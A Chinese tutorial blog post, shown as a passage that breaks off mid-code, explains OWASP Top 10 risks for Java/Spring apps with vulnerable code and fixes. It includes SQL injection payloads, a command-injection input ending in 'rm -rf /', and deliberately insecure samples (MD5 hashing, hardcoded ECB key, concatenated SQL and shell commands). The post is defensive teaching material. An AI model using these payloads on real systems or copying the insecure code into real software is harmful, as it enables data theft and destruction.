别让你的 Java 应用裸奔!OWASP Top10 全漏洞原理、复现与一站式防护方案

10 阅读37分钟

Java作为企业级开发的主流语言,广泛应用于金融、电商、政务等核心系统,一旦出现安全漏洞,会直接造成数据泄露、资产损失、合规处罚等严重后果。OWASP(开放式Web应用安全项目)发布的Top10榜单,是全球公认的Web应用安全风险权威指南,也是Java开发者必须掌握的安全核心知识。

一、失效的访问控制(Broken Access Control)

失效的访问控制位列OWASP Top10 2021榜首,是企业级应用最常见的安全风险。访问控制的核心是“用户不能执行超出其权限的操作”,而失效的本质是权限校验逻辑被绕过或失效,导致越权操作。

底层原理

先明确两个核心概念的边界:认证是验证“你是谁”,授权是验证“你能做什么” ,访问控制属于授权环节。其失效的底层逻辑是:服务端没有对每一个受保护的接口/资源,执行基于用户身份的、不可绕过的权限校验,仅依赖前端隐藏按钮、路由拦截等客户端控制,或权限校验逻辑存在可被利用的缺陷。

常见的失效场景分为三类:

  • 水平越权:同角色用户访问他人的私有数据,比如用户A查看用户B的订单
  • 垂直越权:普通用户访问管理员专属功能,比如普通用户获取全量用户列表
  • 未授权访问:直接绕过登录,访问需要权限的接口或资源

漏洞复现

1. 水平越权漏洞示例

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/order")
public class OrderController {

    private final OrderService orderService;

    public OrderController(OrderService orderService) {
        this.orderService = orderService;
    }

    // 漏洞点:仅从路径获取订单ID,未校验当前登录用户是否为订单所属人
    @GetMapping("/{orderId}")
    public Order getOrderDetail(@PathVariable Long orderId) {
        return orderService.getOrderById(orderId);
    }
}

攻击者只需修改路径中的orderId,即可遍历查询所有用户的订单数据,造成敏感信息泄露。

2. 垂直越权漏洞示例

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;

@RestController
@RequestMapping("/api/admin")
public class AdminController {

    private final UserService userService;

    public AdminController(UserService userService) {
        this.userService = userService;
    }

    // 漏洞点:未做任何权限校验,任何登录用户都能访问管理员接口
    @GetMapping("/users")
    public List<User> getAllUserList() {
        return userService.getAllUsers();
    }
}

漏洞触发流程

防护方案

1. 服务端强制权限校验

所有接口必须在服务端执行权限校验,绝对不能仅依赖前端控制。修复水平越权的正确代码如下:

import org.springframework.security.core.Authentication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/order")
public class OrderController {

    private final OrderService orderService;

    public OrderController(OrderService orderService) {
        this.orderService = orderService;
    }

    // 修复方案:从当前登录上下文获取用户ID,联合订单ID查询,确保订单归属
    @GetMapping("/{orderId}")
    public Order getOrderDetail(@PathVariable Long orderId, Authentication authentication) {
        Long loginUserId = Long.valueOf(authentication.getName());
        return orderService.getOrderByIdAndUserId(orderId, loginUserId);
    }
}

对应DAO层必须使用select * from t_order where id = #{orderId} and user_id = #{userId}的查询逻辑,不能仅通过订单ID查询。

2. 基于RBAC的统一权限控制

使用Spring Security等成熟安全框架,实现基于角色的访问控制(RBAC),从框架层面统一管理接口权限,避免人为疏漏。Spring Security 6的标准配置如下:

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.SecurityFilterChain;

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**").permitAll()
                .requestMatchers("/api/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
            )
            .csrf(csrf -> csrf.disable());
        return http.build();
    }
}

3. 核心防护原则

  • 最小权限原则:仅给用户分配完成业务所需的最小权限,默认拒绝所有访问,仅开放必要接口
  • 禁止路径穿越:文件下载、静态资源访问接口,必须限制访问范围,禁止直接拼接用户传入的路径参数
  • 统一权限校验:避免每个接口单独编写权限校验逻辑,使用框架层面的统一拦截器或AOP实现

二、加密机制失效(Cryptographic Failures)

加密机制失效位列OWASP Top10 2021第二位,其前身是“敏感数据泄露”,更名的核心原因是:敏感数据泄露的根源,几乎都是加密机制的设计或实现存在缺陷。

底层原理

加密机制失效的本质是:应用在处理敏感数据(密码、手机号、身份证、银行卡等)的全生命周期(传输、存储、使用、销毁)中,没有遵循密码学最佳实践,使用了不安全的算法、弱密钥、错误的加密模式,或未对敏感数据做分类分级保护,导致敏感数据被明文暴露、破解或篡改。

漏洞复现

1. 不安全的密码存储示例

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.security.MessageDigest;

@RestController
@RequestMapping("/api/auth")
public class AuthController {

    private final UserService userService;

    public AuthController(UserService userService) {
        this.userService = userService;
    }

    // 漏洞点:使用已被破解的MD5算法加密密码,可通过彩虹表快速反查
    @PostMapping("/register")
    public String register(@RequestBody UserRegisterDTO dto) throws Exception {
        MessageDigest md = MessageDigest.getInstance("MD5");
        byte[] hash = md.digest(dto.getPassword().getBytes());
        StringBuilder hexString = new StringBuilder();
        for (byte b : hash) {
            String hex = Integer.toHexString(0xff & b);
            if (hex.length() == 1) hexString.append('0');
            hexString.append(hex);
        }
        User user = new User();
        user.setUsername(dto.getUsername());
        user.setPassword(hexString.toString());
        userService.save(user);
        return "注册成功";
    }
}

2. 不安全的对称加密示例

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class InsecureAESUtil {
    // 漏洞点1:硬编码密钥在代码中,代码泄露直接导致密钥暴露
    private static final String FIXED_KEY = "1234567890123456";
    // 漏洞点2:使用ECB模式,不提供语义安全性,相同明文加密结果一致,易被破解
    private static final String ALGORITHM = "AES/ECB/PKCS5Padding";

    public static String encrypt(String content) throws Exception {
        SecretKeySpec keySpec = new SecretKeySpec(FIXED_KEY.getBytes(), "AES");
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, keySpec);
        byte[] encrypted = cipher.doFinal(content.getBytes());
        return Base64.getEncoder().encodeToString(encrypted);
    }

    public static String decrypt(String encryptedContent) throws Exception {
        SecretKeySpec keySpec = new SecretKeySpec(FIXED_KEY.getBytes(), "AES");
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, keySpec);
        byte[] decrypted = cipher.doFinal(Base64.getDecoder().decode(encryptedContent));
        return new String(decrypted);
    }
}

防护方案

1. 密码存储的正确实践

密码属于不可逆敏感数据,绝对不能明文存储,也不能使用MD5、SHA-1、SHA-256等快速哈希算法,必须使用BCrypt、SCrypt、Argon2等专为密码存储设计的慢哈希算法,这类算法自带随机盐值,计算速度慢,能有效抵御彩虹表和暴力破解。

Spring Security标准密码加密配置:

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;

@Configuration
public class PasswordConfig {
    // 工作因子设为12,可根据服务器性能调整,数值越大破解难度越高
    @Bean
    public PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder(12);
    }
}

正确的密码处理代码:

import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/api/auth")
public class AuthController {

    private final UserService userService;
    private final PasswordEncoder passwordEncoder;

    public AuthController(UserService userService, PasswordEncoder passwordEncoder) {
        this.userService = userService;
        this.passwordEncoder = passwordEncoder;
    }

    @PostMapping("/register")
    public String register(@RequestBody UserRegisterDTO dto) {
        User user = new User();
        user.setUsername(dto.getUsername());
        // BCrypt自带随机盐值,每次加密相同密码生成的哈希值均不同
        user.setPassword(passwordEncoder.encode(dto.getPassword()));
        userService.save(user);
        return "注册成功";
    }

    @PostMapping("/login")
    public String login(@RequestBody UserLoginDTO dto) {
        User user = userService.findByUsername(dto.getUsername());
        if (user == null) {
            return "用户名或密码错误";
        }
        // 无需手动解密,使用matches方法自动校验密码
        if (!passwordEncoder.matches(dto.getPassword(), user.getPassword())) {
            return "用户名或密码错误";
        }
        return "登录成功";
    }
}

2. 对称加密的正确实践

对于需要解密还原的敏感数据(如手机号、身份证号),必须使用AES-GCM认证加密模式,该模式同时提供加密和完整性校验能力,密钥长度至少256位,密钥必须从配置中心或密钥管理服务(KMS)获取,绝对不能硬编码。

安全的AES-GCM工具类:

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;

public class SecureAESUtil {
    private static final String ALGORITHM = "AES/GCM/NoPadding";
    private static final int KEY_SIZE = 256;
    private static final int GCM_IV_LENGTH = 12;
    private static final int GCM_TAG_LENGTH = 128;

    private final SecretKey secretKey;

    // 密钥从配置中心/KMS获取,禁止硬编码
    public SecureAESUtil(String base64Key) {
        byte[] keyBytes = Base64.getDecoder().decode(base64Key);
        this.secretKey = new SecretKeySpec(keyBytes, "AES");
    }

    // 生成256位安全密钥,仅用于初始化密钥时使用
    public static String generateAESKey() throws Exception {
        KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
        keyGenerator.init(KEY_SIZE, SecureRandom.getInstanceStrong());
        SecretKey secretKey = keyGenerator.generateKey();
        return Base64.getEncoder().encodeToString(secretKey.getEncoded());
    }

    public String encrypt(String content) throws Exception {
        byte[] contentBytes = content.getBytes();
        // 生成12字节随机IV,GCM标准推荐长度
        byte[] iv = new byte[GCM_IV_LENGTH];
        SecureRandom secureRandom = SecureRandom.getInstanceStrong();
        secureRandom.nextBytes(iv);
        GCMParameterSpec parameterSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey, parameterSpec);
        byte[] encrypted = cipher.doFinal(contentBytes);
        // IV无需保密,和密文拼接存储,解密时使用
        byte[] combined = new byte[iv.length + encrypted.length];
        System.arraycopy(iv, 0, combined, 0, iv.length);
        System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length);
        return Base64.getEncoder().encodeToString(combined);
    }

    public String decrypt(String encryptedContent) throws Exception {
        byte[] combined = Base64.getDecoder().decode(encryptedContent);
        // 提取前12字节IV
        byte[] iv = new byte[GCM_IV_LENGTH];
        System.arraycopy(combined, 0, iv, 0, iv.length);
        // 提取加密内容
        byte[] encrypted = new byte[combined.length - iv.length];
        System.arraycopy(combined, iv.length, encrypted, 0, encrypted.length);
        GCMParameterSpec parameterSpec = new GCMParameterSpec(GCM_TAG_LENGTH, iv);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, secretKey, parameterSpec);
        byte[] decrypted = cipher.doFinal(encrypted);
        return new String(decrypted);
    }
}

3. 核心防护原则

  • 敏感数据分类分级:非必要不采集、不存储敏感数据,对不同级别的敏感数据采用差异化保护策略
  • 传输层加密:全站启用HTTPS,使用TLS 1.3协议,禁用TLS 1.0/1.1等不安全协议
  • 敏感数据脱敏:日志、接口返回、前端展示时,对敏感数据做脱敏处理,示例如下:
public class SensitiveDataUtil {
    // 手机号脱敏:保留前3位和后4位
    public static String maskPhone(String phone) {
        if (phone == null || phone.length() != 11return phone;
        return phone.replaceAll("(\d{3})\d{4}(\d{4})""$1****$2");
    }

    // 身份证号脱敏:保留前6位和后4位
    public static String maskIdCard(String idCard) {
        if (idCard == null || idCard.length() != 18return idCard;
        return idCard.replaceAll("(\d{6})\d{8}(\d{4})""$1********$2");
    }
}
  • 禁用不安全算法:JVM层面禁用MD5、SHA-1、DES、3DES、RC4等已被破解的算法

三、注入攻击(Injection)

注入攻击位列OWASP Top10 2021第三位,最常见的类型为SQL注入,同时包含命令注入、EL表达式注入、OGNL注入等多种形式,是历史最悠久、危害最严重的安全漏洞之一。

底层原理

注入攻击的核心本质是数据和指令没有分离,应用将用户可控的输入未经校验和转义,直接拼接到命令或查询语句中,作为指令的一部分执行,导致攻击者可以构造恶意输入,改变原有语句的执行逻辑,执行非授权操作。

漏洞复现

1. SQL注入漏洞示例

最基础的Statement拼接SQL场景:

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

@RestController
@RequestMapping("/api/user")
public class UserController {

    private final String DB_URL = "jdbc:mysql://localhost:3306/test";
    private final String DB_USER = "root";
    private final String DB_PASSWORD = "root";

    // 漏洞点:用户输入的username直接拼接到SQL语句,无任何转义
    @GetMapping("/list")
    public List<User> getUserList(@RequestParam String username) throws Exception {
        List<User> userList = new ArrayList<>();
        Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
        Statement stmt = conn.createStatement();
        String sql = "SELECT id, username, phone FROM t_user WHERE username = '" + username + "'";
        ResultSet rs = stmt.executeQuery(sql);
        while (rs.next()) {
            User user = new User();
            user.setId(rs.getLong("id"));
            user.setUsername(rs.getString("username"));
            user.setPhone(rs.getString("phone"));
            userList.add(user);
        }
        rs.close();
        stmt.close();
        conn.close();
        return userList;
    }
}

攻击者输入' OR '1'='1,拼接后的SQL变为SELECT id, username, phone FROM t_user WHERE username = '' OR '1'='1',会查询出全量用户数据,造成脱库;输入'; DROP TABLE t_user; --可直接删除数据表。

MyBatis中错误使用${}的场景:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
    <!-- 漏洞点:使用${}直接拼接用户输入,无转义处理 -->
    <select id="getUserByUsername" resultType="com.example.entity.User">
        SELECT id, username, phone FROM t_user WHERE username = ${username}
    </select>

    <!-- 漏洞点:排序字段使用${},无白名单校验 -->
    <select id="getUserListOrderBy" resultType="com.example.entity.User">
        SELECT id, username, phone FROM t_user ORDER BY ${orderBy} ${sortType}
    </select>
</mapper>

2. 命令注入漏洞示例

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStreamReader;

@RestController
@RequestMapping("/api/system")
public class SystemController {

    // 漏洞点:用户输入的ip直接拼接到系统命令,无任何校验
    @GetMapping("/ping")
    public String ping(@RequestParam String ip) throws Exception {
        Process process = Runtime.getRuntime().exec("ping -c 4 " + ip);
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        StringBuilder result = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            result.append(line).append("\n");
        }
        return result.toString();
    }
}

攻击者输入127.0.0.1; rm -rf /,会执行ping -c 4 127.0.0.1; rm -rf /,删除服务器所有文件,造成毁灭性后果。

漏洞触发与防护流程

防护方案

1. SQL注入的核心防护

使用预编译语句是SQL注入最根本的防护方案,预编译会将SQL语句的结构和参数完全分离,用户输入的参数只会被当作数据处理,不会改变SQL语句的结构。

正确的PreparedStatement示例:

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;

@RestController
@RequestMapping("/api/user")
public class UserController {

    private final String DB_URL = "jdbc:mysql://localhost:3306/test";
    private final String DB_USER = "root";
    private final String DB_PASSWORD = "root";

    @GetMapping("/list")
    public List<User> getUserList(@RequestParam String username) throws Exception {
        List<User> userList = new ArrayList<>();
        Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
        // 预编译SQL,参数用?占位
        String sql = "SELECT id, username, phone FROM t_user WHERE username = ?";
        PreparedStatement pstmt = conn.prepareStatement(sql);
        // 设置参数,PreparedStatement会自动转义特殊字符
        pstmt.setString(1, username);
        ResultSet rs = pstmt.executeQuery();
        while (rs.next()) {
            User user = new User();
            user.setId(rs.getLong("id"));
            user.setUsername(rs.getString("username"));
            user.setPhone(rs.getString("phone"));
            userList.add(user);
        }
        rs.close();
        pstmt.close();
        conn.close();
        return userList;
    }
}

MyBatis的正确使用规范:

  • 优先使用#{}#{}会采用预编译处理,自动转义特殊字符,从根源上避免SQL注入
  • 必须使用${}的场景(如排序字段、表名),必须做严格的白名单校验,仅允许预设的合法值

正确的Mapper.xml与配套校验代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.example.mapper.UserMapper">
    <select id="getUserByUsername" resultType="com.example.entity.User">
        SELECT id, username, phone FROM t_user WHERE username = #{username}
    </select>

    <select id="getUserListOrderBy" resultType="com.example.entity.User">
        SELECT id, username, phone FROM t_user ORDER BY ${orderBy} ${sortType}
    </select>
</mapper>
import org.springframework.stereotype.Service;
import java.util.Arrays;
import java.util.List;

@Service
public class UserService {

    private final UserMapper userMapper;
    // 排序字段白名单
    private static final List<String> ALLOWED_ORDER_FIELDS = Arrays.asList("id""username""create_time");
    // 排序类型白名单
    private static final List<String> ALLOWED_SORT_TYPES = Arrays.asList("ASC""DESC");

    public UserService(UserMapper userMapper) {
        this.userMapper = userMapper;
    }

    public List<User> getUserListOrderBy(String orderBy, String sortType) {
        // 白名单校验,非法参数直接抛出异常
        if (!ALLOWED_ORDER_FIELDS.contains(orderBy)) {
            throw new IllegalArgumentException("非法的排序字段");
        }
        if (!ALLOWED_SORT_TYPES.contains(sortType.toUpperCase())) {
            throw new IllegalArgumentException("非法的排序类型");
        }
        return userMapper.getUserListOrderBy(orderBy, sortType);
    }
}

2. 命令注入的核心防护

  • 优先使用Java API替代系统命令,如ping操作可使用InetAddress.isReachable()实现,无需执行系统命令
  • 必须执行系统命令时,使用ProcessBuilder将命令和参数完全分离,避免shell解析
  • 对用户输入做严格的白名单校验,仅允许合法字符,禁止出现分号、&、|等特殊字符

正确的命令执行示例:

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.regex.Pattern;

@RestController
@RequestMapping("/api/system")
public class SystemController {

    // IP地址正则白名单,仅允许合法IP格式
    private static final Pattern IP_PATTERN = Pattern.compile("^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$");

    @GetMapping("/ping")
    public String ping(@RequestParam String ip) throws Exception {
        // 第一步:严格校验输入格式
        if (!IP_PATTERN.matcher(ip).matches()) {
            throw new IllegalArgumentException("非法的IP地址");
        }
        // 第二步:使用ProcessBuilder分离命令和参数,避免shell解析
        ProcessBuilder processBuilder = new ProcessBuilder("ping""-c""4", ip);
        processBuilder.redirectErrorStream(true);
        Process process = processBuilder.start();
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        StringBuilder result = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            result.append(line).append("\n");
        }
        return result.toString();
    }
}

3. 核心防护原则

  • 永远不要信任用户输入,所有用户可控的参数都必须做校验和处理
  • 输入校验采用白名单原则,仅允许合法的字符和格式,拒绝所有非法输入
  • 数据库账号遵循最小权限原则,仅给业务必需的权限,禁止给DROP、ALTER等高危权限

四、不安全的设计(Insecure Design)

不安全的设计是OWASP Top10 2021新增的核心类别,位列第四,也是很多开发者最容易忽略的风险。它与代码实现缺陷不同,指的是应用在设计阶段就存在根本性的安全缺陷,即使代码写得再规范,也无法避免安全问题。

底层原理

不安全的设计的核心本质是:安全是设计出来的,不是后期补出来的。应用在需求分析、架构设计、业务流程设计阶段,没有融入安全思维,缺少安全设计模式、威胁建模和必要的安全控制,导致应用天生就存在安全缺陷,后期的代码实现无法弥补根本性的设计漏洞。

常见的不安全设计场景:

  • 业务流程设计缺陷,如密码找回流程可被绕过,攻击者可重置任意用户密码
  • 缺少防暴力破解、防重放攻击的设计
  • 敏感操作没有二次身份校验
  • 信任前端传入的核心参数,服务端未做重新校验
  • 未做威胁建模,未识别业务中的核心安全风险

漏洞复现

最常见的密码找回流程设计缺陷:

import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpSession;

@RestController
@RequestMapping("/api/auth")
public class PasswordResetController {

    private final UserService userService;
    private final SmsService smsService;

    public PasswordResetController(UserService userService, SmsService smsService) {
        this.userService = userService;
        this.smsService = smsService;
    }

    @PostMapping("/send-reset-code")
    public String sendResetCode(@RequestBody SendCodeDTO dto, HttpSession session) {
        String phone = dto.getPhone();
        String code = smsService.generateCode();
        smsService.sendSms(phone, "您的密码重置验证码是:" + code);
        session.setAttribute("reset_code_" + phone, code);
        return "验证码发送成功";
    }

    // 核心设计缺陷:
    // 1. 未校验手机号与验证码的归属,攻击者可用自己的验证码修改他人密码
    // 2. 验证码使用后未失效,可重复使用
    // 3. 无有效期、发送频率限制,可暴力枚举
    @PostMapping("/reset-password")
    public String resetPassword(@RequestBody ResetPasswordDTO dto, HttpSession session) {
        String phone = dto.getPhone();
        String inputCode = dto.getCode();
        String newPassword = dto.getNewPassword();
        String correctCode = (String) session.getAttribute("reset_code_" + phone);
        if (correctCode == null || !correctCode.equals(inputCode)) {
            return "验证码错误";
        }
        User user = userService.findByPhone(phone);
        if (user == null) {
            return "用户不存在";
        }
        user.setPassword(newPassword);
        userService.save(user);
        return "密码重置成功";
    }
}

安全的业务流程设计

防护方案

1. 安全的密码找回流程实现

import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.concurrent.TimeUnit;

@RestController
@RequestMapping("/api/auth")
public class PasswordResetController {

    private final UserService userService;
    private final SmsService smsService;
    private final RedisTemplate<String, String> redisTemplate;
    private final PasswordEncoder passwordEncoder;

    private static final String RESET_CODE_PREFIX = "reset_code:";
    private static final long CODE_EXPIRE_MINUTES = 5;
    private static final String SEND_LIMIT_PREFIX = "send_limit:";
    private static final long SEND_INTERVAL_SECONDS = 60;
    private static final int MAX_SEND_COUNT_PER_HOUR = 5;
    private static final String SEND_COUNT_PREFIX = "send_count:";

    public PasswordResetController(UserService userService, SmsService smsService, RedisTemplate<String, String> redisTemplate, PasswordEncoder passwordEncoder) {
        this.userService = userService;
        this.smsService = smsService;
        this.redisTemplate = redisTemplate;
        this.passwordEncoder = passwordEncoder;
    }

    @PostMapping("/send-reset-code")
    public String sendResetCode(@RequestBody SendCodeDTO dto) {
        String phone = dto.getPhone();
        // 1. 校验手机号是否注册
        User user = userService.findByPhone(phone);
        if (user == null) {
            return "该手机号未注册";
        }
        // 2. 校验发送频率,1分钟内仅可发送1次
        String intervalKey = SEND_LIMIT_PREFIX + phone;
        if (Boolean.TRUE.equals(redisTemplate.hasKey(intervalKey))) {
            return "验证码发送太频繁,请稍后再试";
        }
        // 3. 校验1小时内发送次数,最多5次
        String countKey = SEND_COUNT_PREFIX + phone;
        Long count = redisTemplate.opsForValue().increment(countKey);
        if (count == 1) {
            redisTemplate.expire(countKey, 1, TimeUnit.HOURS);
        }
        if (count > MAX_SEND_COUNT_PER_HOUR) {
            return "该手机号今日获取验证码次数已达上限,请24小时后再试";
        }
        // 4. 生成6位数字验证码
        String code = smsService.generate6DigitCode();
        // 5. 存储验证码到Redis,设置5分钟有效期
        String codeKey = RESET_CODE_PREFIX + phone;
        redisTemplate.opsForValue().set(codeKey, code, CODE_EXPIRE_MINUTES, TimeUnit.MINUTES);
        // 6. 设置发送频率限制
        redisTemplate.opsForValue().set(intervalKey, "1", SEND_INTERVAL_SECONDS, TimeUnit.SECONDS);
        // 7. 发送短信
        smsService.sendSms(phone, "您的密码重置验证码是:" + code + ",有效期5分钟,请勿泄露给他人");
        return "验证码发送成功";
    }

    @PostMapping("/reset-password")
    public String resetPassword(@RequestBody ResetPasswordDTO dto) {
        String phone = dto.getPhone();
        String inputCode = dto.getCode();
        String newPassword = dto.getNewPassword();
        // 1. 校验参数合法性
        if (phone == null || inputCode == null || newPassword == null) {
            return "参数不完整";
        }
        // 2. 从Redis获取正确的验证码
        String codeKey = RESET_CODE_PREFIX + phone;
        String correctCode = redisTemplate.opsForValue().get(codeKey);
        if (correctCode == null) {
            return "验证码已过期,请重新获取";
        }
        // 3. 校验验证码是否正确
        if (!correctCode.equals(inputCode)) {
            return "验证码错误";
        }
        // 4. 校验通过后立即删除验证码,确保仅可使用一次
        redisTemplate.delete(codeKey);
        // 5. 校验用户是否存在
        User user = userService.findByPhone(phone);
        if (user == null) {
            return "用户不存在";
        }
        // 6. 校验密码复杂度
        if (!checkPasswordComplexity(newPassword)) {
            return "密码复杂度不符合要求,需包含大小写字母、数字和特殊字符,长度至少8位";
        }
        // 7. 加密新密码并更新
        user.setPassword(passwordEncoder.encode(newPassword));
        userService.save(user);
        // 8. 注销该用户所有登录token,强制重新登录
        userService.logoutAllDevices(user.getId());
        // 9. 发送密码修改通知
        smsService.sendSms(phone, "您的账号密码已成功修改,如非本人操作,请立即联系客服");
        return "密码重置成功,请使用新密码登录";
    }

    private boolean checkPasswordComplexity(String password) {
        if (password.length() < 8) return false;
        boolean hasUpper = false, hasLower = false, hasDigit = false, hasSpecial = false;
        for (char c : password.toCharArray()) {
            if (Character.isUpperCase(c)) hasUpper = true;
            else if (Character.isLowerCase(c)) hasLower = true;
            else if (Character.isDigit(c)) hasDigit = true;
            else hasSpecial = true;
        }
        return hasUpper && hasLower && hasDigit && hasSpecial;
    }
}

2. 核心防护原则

  • 安全左移:在需求分析、设计阶段就融入安全思维,开展威胁建模,识别业务中的安全风险
  • 核心敏感操作二次校验:转账、修改密码、注销账号等敏感操作,必须做二次身份校验
  • 防暴力破解设计:登录、验证码等接口必须做频率限制、账号锁定、验证码机制
  • 防重放攻击设计:核心接口必须设计幂等性机制,使用唯一订单号、nonce+时间戳确保请求仅可执行一次
  • 最小权限原则:架构设计、业务设计中,始终遵循最小权限原则,仅开放必要的功能和权限

五、安全配置错误(Security Misconfiguration)

安全配置错误位列OWASP Top10 2021第五位,是最普遍的安全风险,超过80%的应用都存在不同程度的安全配置错误。

底层原理

安全配置错误的本质是:应用、服务器、数据库、中间件、框架等全链路的配置不符合安全要求,使用了不安全的默认配置,或缺少必要的安全配置,导致应用暴露在安全风险中。安全是一个全链路的体系,任何一个环节的配置错误,都可能导致整个安全防线被突破。

常见的安全配置错误场景:

  • 使用默认账号和密码,如Tomcat管理账号、数据库默认root密码
  • 对外暴露Spring Boot Actuator敏感端点、Swagger文档等内部资源
  • 跨域配置错误,设置Access-Control-Allow-Origin: *允许所有域名跨域访问
  • 错误页面返回完整堆栈信息,泄露应用路径、框架版本等敏感信息
  • 未配置HTTP安全响应头,导致XSS、点击劫持等攻击
  • 云服务存储桶设置为公开访问,导致敏感数据泄露

漏洞复现

1. Spring Boot Actuator端点对外暴露

management:
  endpoints:
    web:
      exposure:
        include: "*" # 暴露所有Actuator端点
  endpoint:
    env:
      enabled: true
    heapdump:
      enabled: true

/env端点会泄露数据库密码、密钥等所有配置信息,/heapdump端点可下载应用堆内存快照,攻击者可从中提取所有敏感信息。

2. 不安全的跨域配置

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class CorsConfig implements WebMvcConfigurer {

    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/**")
                .allowedOriginPatterns("*"// 允许所有域名
                .allowedMethods("*"// 允许所有HTTP方法
                .allowCredentials(true// 允许携带Cookie
                .maxAge(3600);
    }
}

该配置允许所有域名携带Cookie跨域访问,攻击者可在恶意网站构造跨域请求,获取用户登录后的敏感数据,执行CSRF攻击。

防护方案

1. 最小化配置原则

关闭所有不必要的功能、端口、端点,仅保留业务必需的能力。Spring Boot Actuator的安全配置示例:

management:
  endpoints:
    web:
      exposure:
        include: health # 仅暴露健康检查端点
  endpoint:
    health:
      show-details: never # 对外仅返回up/down状态,不展示详细信息
  server:
    port: 8081 # 单独设置Actuator端口,与业务端口分离,仅对内网开放

2. 安全的跨域配置

严格限制允许跨域的域名,绝对禁止使用*,仅允许业务需要的域名:

import org.springframework.context.annotation.Configuration;
